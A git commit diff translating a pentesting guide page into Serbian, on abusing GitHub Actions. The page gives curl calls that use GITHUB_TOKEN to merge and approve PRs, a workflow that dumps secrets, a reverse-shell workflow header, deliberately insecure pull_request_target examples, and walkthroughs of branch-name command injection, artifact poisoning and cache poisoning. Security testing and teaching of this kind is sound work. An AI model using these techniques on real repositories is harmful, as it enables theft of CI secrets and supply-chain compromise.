Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

This commit is contained in:
Translator
2025-09-29 21:40:03 +00:00
parent c5950abb0d
commit fa540a2e59
3 changed files with 425 additions and 257 deletions

View File

@@ -4,52 +4,52 @@
## Alati
Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih:
Sledeći alati su korisni za pronalaženje Github Action workflows i čak pronalaženje ranjivih primeraka:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Proverite i njegovu kontrolnu listu na [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Pogledajte takođe checklist u [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Osnovne Informacije
## Osnovne informacije
Na ovoj stranici ćete pronaći:
Na ovoj stranici ćete naći:
- **rezime svih uticaja** napadača koji uspe da pristupi Github Action
- Različite načine da **dobijete pristup akciji**:
- Imajući **dozvole** za kreiranje akcije
- Zloupotreba **okidača** povezanih sa pull request-om
- Zloupotreba **drugih tehnika spoljnog pristupa**
- **Pivotiranje** iz već kompromitovanog repozitorijuma
- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja)
- Kratak pregled svih **posledica** koje napadač može izazvati ako uspe da pristupi Github Action
- Različiti načini kako **dobiti pristup action-u**:
- Imati **dozvole** za kreiranje action-a
- Zloupotreba okidača vezanih za **pull request**
- Zloupotreba drugih tehnika eksternog pristupa
- **Pivoting** sa već kompromitovanog repo-a
- Na kraju, sekcija o **post-exploitation tehnikama za zloupotrebu action-a iznutra** (koje prouzrokuju prethodno navedene posledice)
## Rezime Uticaja
## Rezime posledica
Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions).
Za uvod u [**Github Actions pogledajte osnovne informacije**](../basic-github-information.md#github-actions).
Ako možete da **izvršite proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da:
Ako možete **izvršiti proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, mogli biste:
- **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da biste dobili neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
- **Kompromitujete implementacije** i druge **artefakte**.
- Ako pipeline implementira ili čuva resurse, mogli biste da izmenite konačni proizvod, omogućavajući napad na lanac snabdevanja.
- **Izvršite kod u prilagođenim radnicima** da biste zloupotrebili računske resurse i pivotirali na druge sisteme.
- **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
- **Krađa secrets** montiranih u pipeline i **zloupotreba privilegija pipeline-a** za neautorizovan pristup eksternim platformama, kao što su AWS i GCP.
- **Kompromitovanje deployments** i drugih **artefakata**.
- Ako pipeline deployuje ili skladišti asset-e, možete izmeniti finalni proizvod, omogućavajući supply chain attack.
- **Izvršavanje koda u custom workers** radi zloupotrebe računarske snage i pivotovanja na druge sisteme.
- **Prepisivanje koda repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
## GITHUB_TOKEN
Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se daje kada administrator omogući ovu opciju:
Ovaj "**secret**" (potiče iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) dodeljuje se kada admin omogući ovu opciju:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
Ovaj token je isti koji će koristiti **Github aplikacija**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Ovaj token je isti koji će koristiti **Github Application**, tako da može pristupiti istim endpointima: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
> Github bi trebalo da objavi a [**flow**](https://github.com/github/roadmap/issues/74) koji **omogućava cross-repository** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Napomena da token **isteče nakon što je posao završen**.\
Obratite pažnju da token **isteče nakon završetka job-a**.\
Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Neke zanimljive stvari koje možete uraditi sa ovim tokenom:
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Odobri PR" }}
{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Kreiraj PR" }}
{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github korisničke tokene unutar Github Actions envs ili u tajnama**. Ovi tokeni vam mogu dati ve privilegija nad repozitorijumom i organizacijom.
> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github user tokens inside Github Actions envs or in the secrets**. Ovi tokeni vam mogu dati ve privilegije nad repozitorijumom i organizacijom.
<details>
<summary>Lista tajni u Github Action izlazu</summary>
<summary>Prikaži secrets u izlazu Github Action</summary>
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Dobijanje reverzne ljuske sa tajnama</summary>
<summary>Dobijte reverse shell koristeći secrets</summary>
```yaml
name: revshell
on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika **proverom logova** akcija:
Moguće je proveriti dozvole dodeljene Github Token-u u drugim korisničkim repositories tako što ćete proveriti logove Github actions:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Dozvoljena Izvršenja
## Dozvoljeno izvršavanje
> [!NOTE]
> Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup **kreiranju novog repozitorijuma u organizaciji**, ili imate **privilegije pisanja nad repozitorijumom**.
> Ovo bi bio najlakši način da kompromitujete Github actions, jer ovaj slučaj podrazumeva da imate pristup da **create a new repo in the organization**, ili da imate **write privileges over a repository**.
>
> Ako ste u ovom scenariju, možete jednostavno proveriti [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
> Ako ste u ovoj situaciji, možete jednostavno pogledati [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Izvršenje iz Kreiranja Repozitorijuma
### Izvršavanje preko kreiranja repoa
U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i možete izvršavati github akcije, možete **kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije**.
U slučaju da članovi organizacije mogu **create new repos** i da možete izvršavati github actions, možete **create a new repo and steal the secrets set at organization level**.
### Izvršenje iz Nove Grane
### Izvršavanje preko novog brancha
Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **izvući tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu).
Ako možete **create a new branch in a repository that already contains a Github Action** konfigurisan, možete ga **modify**, **upload** sadržaj, i potom **execute that action from the new branch**. Na ovaj način možete **exfiltrate repository and organization level secrets** (ali morate znati kako se zovu).
Možete učiniti da modifikovana akcija bude izvršna **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi):
> [!WARNING]
> Bilo kakvo ograničenje implementirano samo unutar workflow YAML (na primer, `on: push: branches: [main]`, job conditionals, ili manual gates) može biti izmenjeno od strane saradnika. Bez spoljne primene (branch protections, protected environments, i protected tags), contributor može preusmeriti workflow da se pokrene na njegovom branch-u i zloupotrebiti montirane secrets/permissions.
Možete napraviti izmenjeni action izvršnim **manually,** kada je **PR is created** ili kada je **some code is pushed** (u zavisnosti koliko želite da budete bučni):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
```
---
## Forked Execution
## Izvršavanje iz fork-a
> [!NOTE]
> Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.
> Postoje različiti trigger-i koji bi napadaču mogli omogućiti da **execute a Github Action of another repository**. Ako su te trigger-abilne akcije loše konfigurisane, napadač bi mogao uspeti da ih kompromituje.
### `pull_request`
Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:
The workflow trigger **`pull_request`** će izvršiti workflow svaki put kada se primi pull request uz neke izuzetke: po default-u ako je to **prvi put** da doprinosite, neki **maintainer** će morati da **odobri** **pokretanje** workflow-a:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važne greške/tipa** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
> Pošto je **podrazumevano ograničenje** za **prvi put** doprinosioce, možete doprineti **ispravljajući validan bug/typo** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
>
> **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~
> **I testirao sam ovo i ne radi**: ~~Druga opcija bi bila da napravite nalog sa imenom nekoga ko je doprineo projektu i obrisao svoj nalog.~~
Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Štaviše, po default-u to **sprečava write permissions** i **secrets access** ka ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**.
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.
Napadač može izmeniti definiciju Github Action-a kako bi izvršio proizvoljne komande i dodao proizvoljne akcije. Međutim, zbog pomenutih ograničenja neće moći da ukrade secrets ili prepiše repo.
> [!CAUTION]
> **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!**
> **Da, ako napadač promeni u PR-u github action koji će biti okinut, njegov Github Action će biti taj koji se koristi, a ne onaj iz originalnog repozitorijuma!**
Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisane dozvole na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**.
Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema secrets ili write permissions na `GITHUB_TOKEN`, napadač bi na primer mogao **otpremiti maliciozne artefakte**.
### **`pull_request_target`**
Okidač radnog toka **`pull_request_target`** ima **pisanu dozvolu** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu).
The workflow trigger **`pull_request_target`** ima **write permission** ka ciljanom repozitorijumu i **access to secrets** (i ne traži odobrenje).
Napomena da okidač radnog toka **`pull_request_target`** **radi u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Napomena da workflow trigger **`pull_request_target`** **pokreće se u base context-u** a ne u onom koji daje PR (da **ne bi izvršavao nepoverljiv kod**). Za više informacija o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Štaviše, za više informacija o ovom specifično opasnom korišćenju pogledajte ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Možda izgleda kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**.
Može delovati da je bezbedno koristiti **`pull_request_target`** zato što se **izvršeni workflow** definiše u **base-u** a **ne u PR-u**, ali postoje **nekoliko slučajeva gde to nije**.
A ovaj će imati **pristup tajnama**.
I ovaj će imati **access to secrets**.
### `workflow_run`
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) okidač omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`.
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger omogućava da se workflow pokrene iz drugog kada je `completed`, `requested` ili `in_progress`.
U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok:
U ovom primeru, workflow je konfigurisan da se pokrene nakon što se odvojeni "Run Tests" workflow završi:
```yaml
on:
workflow_run:
@@ -227,29 +230,29 @@ workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**.
Štaviše, prema dokumentaciji: workflow pokrenut događajem `workflow_run` može da **pristupi secrets i write tokens, čak i ako prethodni workflow nije**.
Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\
Drugi se sastoji od **prosleđivanja** **artefakta** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artefakta na način koji ga čini **ranjivim na RCE**.
Ovakav workflow može biti napadnut ako **zavisi** od **workflow** koji eksterni korisnik može **pokrenuti** putem **`pull_request`** ili **`pull_request_target`**. Par ranjivih primera može se naći u [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi primer se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima kod napadača: `${{ github.event.pull_request.head.sha }}`
Drugi primer se sastoji u **prosleđivanju** **artifact**-a iz **untrusted** koda u **`workflow_run`** workflow i korišćenju sadržaja tog artifact-a na način koji ga čini **vulnerable to RCE**.
### `workflow_call`
TODO
TODO: Proveriti da li kada se izvršava iz `pull_request` koristi/preuzima kod iz originala ili iz forkovanog PR
TODO: Proveriti da li kada se izvršava iz pull_request koristi/preuzima kod iz origin ili iz forkovanog PR-a
## Zloupotreba Forkovane Izvršavanja
## Zloupotreba forkovanog izvršavanja
Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako bi ove izvršavanja, ako su loše konfigurisane, mogle biti zloupotrebljene:
Pomenuo/la smo sve načine na koje eksterni napadač može naterati github workflow da se izvrši, sada hajde da pogledamo kako se ta izvršavanja, ako su loše konfigurisana, mogu zloupotrebiti:
### Nepouzdan checkout izvršavanje
### Untrusted checkout execution
U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i izvršiće se sa nekim [ograničenjima](#pull_request).
U slučaju **`pull_request`**, workflow će se izvršiti u **kontekstu PR-a** (dakle izvršiće **malicious PRs code**), ali neko mora to prvo **odobriti** i on će se izvršavati sa određenim [ograničenjima](#pull_request).
U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**.
U slučaju workflow-a koji koristi **`pull_request_target` or `workflow_run`** i koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` or `pull_request`**, izvršiće se kod iz originalnog repozitorijuma, tako da **napadač ne može kontrolisati izvršeni kod**.
> [!CAUTION]
> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a):
> Međutim, ako **action** ima **explicit PR checkout** koji će **dohvatiti kod iz PR-a** (a ne iz base), koristiće kod koji kontroliše napadač. Na primer (pogledajte liniju 12 gde se preuzima PR kod):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
@@ -279,32 +282,32 @@ message: |
Thank you!
</code></pre>
Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirani **paketi pod kontrolom autora PR-a**.
Potencijalno **untrusted code se izvršava tokom `npm install` ili `npm build`** jer su build skripte i referencirani **packages pod kontrolom autora PR-a**.
> [!WARNING]
> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR).
> Github dork za pretragu ranjivih actions je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini da se konfigurišu jobs da se izvršavaju sigurno čak i ako je action nesigurno konfigurisana (npr. korišćenjem uslova o tome ko je actor koji generiše PR).
### Kontekst Injekcije Skripti <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Napomena da postoje određeni [**github konteksti**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github akcija koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **izvršavanja proizvoljnog koda:**
Imajte na umu da postoje određeni [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github action koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Injekcija Skripti** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
Prema dokumentaciji: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja.
Iz dokumentacije: Možete učiniti da **environment variable bude dostupan svim narednim koracima** u workflow job-u tako što ćete definisati ili ažurirati promenljivu okruženja i upisati je u **`GITHUB_ENV`** environment fajl.
Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u sledećim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
Ako bi napadač mogao da **ubaci bilo koju vrednost** u ovu **env** promenljivu, mogao bi da ubaci env promenljive koje bi mogle izvršiti kod u narednim koracima, kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artefakt da skladišti svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:
Na primer ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje uploadovanom artifact-u da sačuva njegov sadržaj u **`GITHUB_ENV`** env promenljivu. Napadač bi mogao da uploaduje nešto ovakvo da bi ga kompromitovao:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot i drugi pouzdani botovi
### Dependabot and other trusted bots
Kao što je navedeno u [**ovom blog postu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github akciju koja spaja bilo koji PRR od `dependabot[bot]` kao u:
Kao što je naznačeno u [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github Action koji merguje bilo koji PR od `dependabot[bot]` kao u:
```yaml
on: pull_request_target
jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Koji je problem jer polje `github.actor` sadrži korisnika koji je izazvao najnoviji događaj koji je pokrenuo radni tok. I postoji nekoliko načina da se korisnik `dependabot[bot]` natera da izmeni PR. Na primer:
To predstavlja problem zato što polje `github.actor` sadrži korisnika koji je izazvao poslednji događaj koji je pokrenuo workflow. Postoji nekoliko načina da se natera korisnik `dependabot[bot]` da izmeni PR. Na primer:
- Forkujte žrtvovano skladište
- Dodajte zloćudni payload u svoju kopiju
- Omogućite Dependabot na svom fork-u dodajući zastarelu zavisnost. Dependabot će kreirati granu koja ispravlja zavisnost sa zloćudnim kodom.
- Otvorite Pull Request ka žrtvovanom skladištu iz te grane (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
- Zatim, napadač se vraća na inicijalni PR koji je Dependabot otvorio u svom fork-u i pokreće `@dependabot recreate`
- Zatim, Dependabot izvršava neke radnje u toj grani, koje su izmenile PR u žrtvovanom repo-u, što čini `dependabot[bot]` akterom najnovijeg događaja koji je pokrenuo radni tok (i stoga, radni tok se pokreće).
- Napravite fork repository-ja žrtve
- Dodajte malicious payload u svoju kopiju
- Omogućite Dependabot na svom forku dodavanjem zastarele dependency. Dependabot će kreirati branch koji ispravlja dependency sa malicious kodom.
- Otvorite Pull Request ka repository-ju žrtve iz tog branch-a (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
- Zatim, napadač se vraća na početni PR koji je Dependabot otvorio u njegovom forku i pokreće `@dependabot recreate`
- Zatim Dependabot izvrši neke akcije na tom branch-u, koje izmeniše PR u repository-ju žrtve, čime je `dependabot[bot]` postao autor poslednjeg događaja koji je pokrenuo workflow (i stoga, workflow se pokreće).
Nastavljajući, šta ako umesto spajanja Github Action bi imao injekciju komandi kao u:
Idemo dalje, šta ako umesto merge-ovanja Github Action ima command injection kao u:
```yaml
on: pull_request_target
jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Pa, originalni blog post predlaže dve opcije za zloupotrebu ovog ponašanja, a druga je:
Pa, originalni blogpost predlaže dve opcije za zloupotrebu ovog ponašanja, pri čemu je druga:
- Forkujte repozitorijum žrtve i omogućite Dependabot sa nekim zastarelim zavisnostima.
- Kreirajte novu granu sa zloćudnim kodom za shell injekciju.
- Promenite podrazumevanu granu repozitorijuma na tu.
- Kreirajte PR iz ove grane u repozitorijum žrtve.
- Pokrenite `@dependabot merge` u PR-u koji je Dependabot otvorio u svom forku.
- Dependabot će spojiti svoje izmene u podrazumevanu granu vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čineći sada `dependabot[bot]` aktera poslednjeg događaja koji je pokrenuo radni tok i koristeći zloćudno ime grane.
- Fork the victim repository and enable Dependabot with some outdated dependency.
- Create a new branch with the malicious shell injeciton code.
- Change the default branch of the repo to that one
- Create a PR from this branch to the victim repository.
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
### Ranljive Treće Strane Github Akcije
### Ranjive Third-Party GitHub Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova i čak repozitorijuma.
Kao što je pomenuto u [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova GitHub Action dozvoljava pristup artifacts iz različitih workflow-ova i čak repozitorijuma.
Problem je u tome što, ako **`path`** parametar nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u radnom toku. Stoga, ako je artefakt ranjiv, napadač bi mogao zloupotrebiti ovo da kompromituje druge radne tokove koji veruju artefaktu.
Problem je u tome što, ako parametar **`path`** nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prebrisati fajlove koji bi kasnije mogli biti korišćeni ili čak izvršeni u workflow-u. Dakle, ako je Artifact ranjiv, napadač bi to mogao zloupotrebiti da kompromituje druge workflow-ove koji veruju tom Artifact-u.
Primer ranjivog radnog toka:
Example of vulnerable workflow:
```yaml
on:
workflow_run:
@@ -373,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
Ovo bi moglo biti napadnuto ovom radnom procedurom:
Ovo se može napasti ovim workflow-om:
```yaml
name: "some workflow"
on: pull_request
@@ -390,35 +393,35 @@ path: ./script.py
```
---
## Drugi Spoljni Pristup
## Ostali eksterni pristup
### Otimanje Izbrisanog Namespace Repozitorijuma
### Obrisano Namespace Repo Hijacking
Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repozitorijum sa istim imenom** kao onaj koji je izbrisan.
Ako nalog promeni svoje ime, drugi korisnik može nakon nekog vremena registrovati nalog sa tim imenom. Ako je repozitorijum pre promene imao **manje od 100 stars**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repository sa istim imenom** kao obrisani.
> [!CAUTION]
> Dakle, ako neka akcija koristi repozitorijum sa nepostojećeg naloga, još uvek je moguće da napadač može da kreira taj nalog i kompromituje akciju.
> Dakle, ako action koristi repo iz nepostojećeg naloga, i dalje je moguće da attacker kreira taj nalog i compromise action.
Ako su drugi repozitorijumi koristili **zavisnosti iz repozitorijuma ovog korisnika**, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Ako drugi repos koriste **dependencies from this user repos**, attacker će moći da ih hijackuje. Ovde imate detaljnije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi** pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak).
> U ovom odeljku govorićemo o tehnikama koje bi omogućile da **pivot from one repo to another** pod pretpostavkom da imamo neki pristup prvom (pogledajte prethodni odeljak).
### Trovanje Kešom
### Cache Poisoning
Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok.
